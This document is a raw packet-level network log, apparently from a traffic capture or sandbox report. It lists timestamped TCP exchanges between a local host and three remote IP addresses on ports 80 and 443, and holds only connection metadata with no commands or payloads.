Oct 26, 2024 08:54:01.334387064 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334408045 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334436893 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334450006 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334475994 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334490061 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334522963 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334526062 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334638119 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334647894 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334691048 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334706068 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334741116 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334749937 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334775925 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334779978 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334816933 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334840059 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334878922 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334889889 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334927082 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334928989 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.334970951 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.334979057 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335015059 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335042953 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335058928 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335094929 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335098982 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335130930 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335172892 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335180998 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335222960 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335232973 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335270882 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335283041 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335345030 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335376978 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335391998 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335423946 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335429907 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335479975 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335511923 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335527897 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335552931 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335556984 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335592985 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335602045 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335638046 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335640907 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335671902 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335676908 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335705042 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335711956 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335737944 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335741997 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335771084 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335777044 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335800886 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335810900 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335834026 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335836887 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335870981 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335875034 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335911036 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335912943 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335948944 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335952997 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.335983038 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.335985899 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336018085 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336021900 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336050987 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336056948 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336087942 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336090088 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336122036 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336124897 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336157084 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336159945 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336190939 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336195946 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336226940 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336230993 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336262941 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336266994 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336297989 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336297035 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336333036 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336342096 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336366892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336371899 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336400986 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336404085 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336436987 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336440086 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336468935 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336473942 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336503983 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336505890 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336539984 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336545944 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336574078 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336577892 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336608887 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336611986 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336643934 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336646080 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336678982 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336683035 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336713076 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336718082 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336745977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336751938 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336780071 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336781979 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336815119 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336817980 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336848021 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336853981 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336884975 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336885929 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336920977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336924076 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336954117 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336958885 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.336988926 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.336992025 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.337023973 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.337032080 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.337059021 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.337091923 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.337095976 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.337126017 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.337136984 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.337161064 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.557648897 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.558217049 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.761399031 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:01.767708063 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.767733097 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:01.767844915 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:04.044574976 CEST	49982	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:04.044621944 CEST	443	49982	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:04.044698954 CEST	49982	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:04.047466040 CEST	49982	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:04.047482014 CEST	443	49982	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:04.240457058 CEST	49980	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:54:04.240770102 CEST	49983	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:54:04.246134996 CEST	80	49983	185.215.113.43	192.168.2.7
Oct 26, 2024 08:54:04.246164083 CEST	80	49980	185.215.113.43	192.168.2.7
Oct 26, 2024 08:54:04.246231079 CEST	49980	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:54:04.246243954 CEST	49983	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:54:04.251009941 CEST	49983	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:54:04.256433964 CEST	80	49983	185.215.113.43	192.168.2.7
Oct 26, 2024 08:54:04.876961946 CEST	443	49982	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:04.877044916 CEST	49982	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:05.125786066 CEST	49982	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:05.125823975 CEST	443	49982	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:05.126786947 CEST	443	49982	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:05.180533886 CEST	80	49983	185.215.113.43	192.168.2.7
Oct 26, 2024 08:54:05.180618048 CEST	49983	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:54:05.187292099 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:05.187756062 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:05.193070889 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:05.193137884 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:05.193139076 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:05.193205118 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:05.193345070 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:05.198736906 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:05.203746080 CEST	49982	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:05.203775883 CEST	49982	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:05.204049110 CEST	443	49982	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:05.574553013 CEST	443	49982	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:05.574697971 CEST	443	49982	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:05.574754000 CEST	49982	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:05.575629950 CEST	49982	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:05.575644970 CEST	443	49982	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:05.661891937 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:05.661932945 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:05.662005901 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:05.662539005 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:05.662554979 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.121057034 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121107101 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121133089 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.121162891 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121203899 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121215105 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.121215105 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.121236086 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121246099 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.121275902 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121279001 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.121314049 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121320963 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.121345997 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121355057 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.121378899 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121390104 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.121414900 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.121419907 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.121462107 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.126832008 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.126883030 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.126888037 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.126933098 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.126988888 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.127029896 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.127039909 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.127074957 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.127083063 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.127115965 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.281610966 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.281656981 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.281714916 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.281750917 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.281754971 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.281806946 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.281841993 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.281858921 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.281858921 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.281877995 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.281908035 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.281990051 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.282362938 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.282397032 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.282432079 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.282607079 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.282800913 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.282836914 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.282871008 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.282905102 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.282943964 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.283133984 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.401956081 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402002096 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402059078 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402060032 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.402096033 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402121067 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.402133942 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402173042 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402174950 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.402174950 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.402302980 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.402498960 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402533054 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402569056 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402599096 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.402673006 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.402892113 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402925968 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402960062 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.402990103 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.402990103 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.402997017 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.403028965 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.403198957 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.439919949 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.439934969 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.440004110 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.468508959 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.468640089 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:06.469821930 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:06.469832897 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.470163107 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.471821070 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:06.471889973 CEST	49985	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:06.471905947 CEST	443	49985	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:06.522430897 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.522461891 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.522486925 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.522510052 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.522532940 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.522561073 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.522567034 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.522588968 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.522594929 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.522612095 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.522636890 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.522757053 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.523432970 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.523466110 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.523488045 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.523498058 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.523509979 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.523514032 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.523531914 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.523535967 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.523818970 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.618055105 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.618088007 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.618444920 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.642679930 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.642807961 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.642846107 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.642882109 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.642916918 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.642951965 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.642985106 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.643053055 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.643055916 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.643109083 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.643143892 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.643146992 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.643179893 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.643213034 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.643215895 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.643421888 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.643914938 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.643948078 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.643982887 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.644015074 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.644048929 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.644113064 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.738411903 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.738459110 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.738486052 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.738704920 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.762993097 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763008118 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763020039 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763102055 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763125896 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763124943 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.763124943 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.763171911 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.763176918 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763190985 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763202906 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:06.763226032 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:06.763514996 CEST	49984	80	192.168.2.7	185.215.113.16
